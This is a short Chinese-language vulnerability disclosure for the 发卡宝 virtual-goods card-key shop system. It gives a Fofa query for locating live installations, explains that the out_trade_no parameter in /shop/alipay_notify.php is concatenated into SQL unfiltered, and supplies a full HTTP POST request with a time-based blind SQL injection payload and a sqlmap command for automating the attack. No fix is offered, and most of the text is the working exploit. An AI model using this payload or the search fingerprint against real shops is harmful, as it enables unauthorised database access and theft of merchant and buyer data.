发卡宝卡密寄售系统,致力于解决虚拟商品的快捷商城服务,为商户及其买家 提供,便捷、绿色、安全、快速的销售和购买体验。
Fofa:"template/t1/assets/js/odometer.min.js"
漏洞产生于/shop/alipay_notify.php 文件中,post参数直接传入out_trade_no,没有进行任何过滤,并且直接拼接SQL语句进行查询,导致前台SQL注入
漏洞复现,post提交out_trade_no参数带入sql语句即可
POST /shop/alipay_notify.php HTTP/2
Host: 127.0.0.1
Cookie: PHPSESSID=audck4dekct1clpgrqfcunre66
Content-Length: 14
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/shop/alipay_notify.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Sec-Fetch-User: ?1
Priority: u=0, i
out_trade_no=' AND (SELECT 4286 FROM (SELECT(SLEEP(5)))ztQX)-- rLAn
sqlmap测试,将post提交内容保存为a.txt
python sqlmap.py -r a.txt --level=3 --dbms=mysql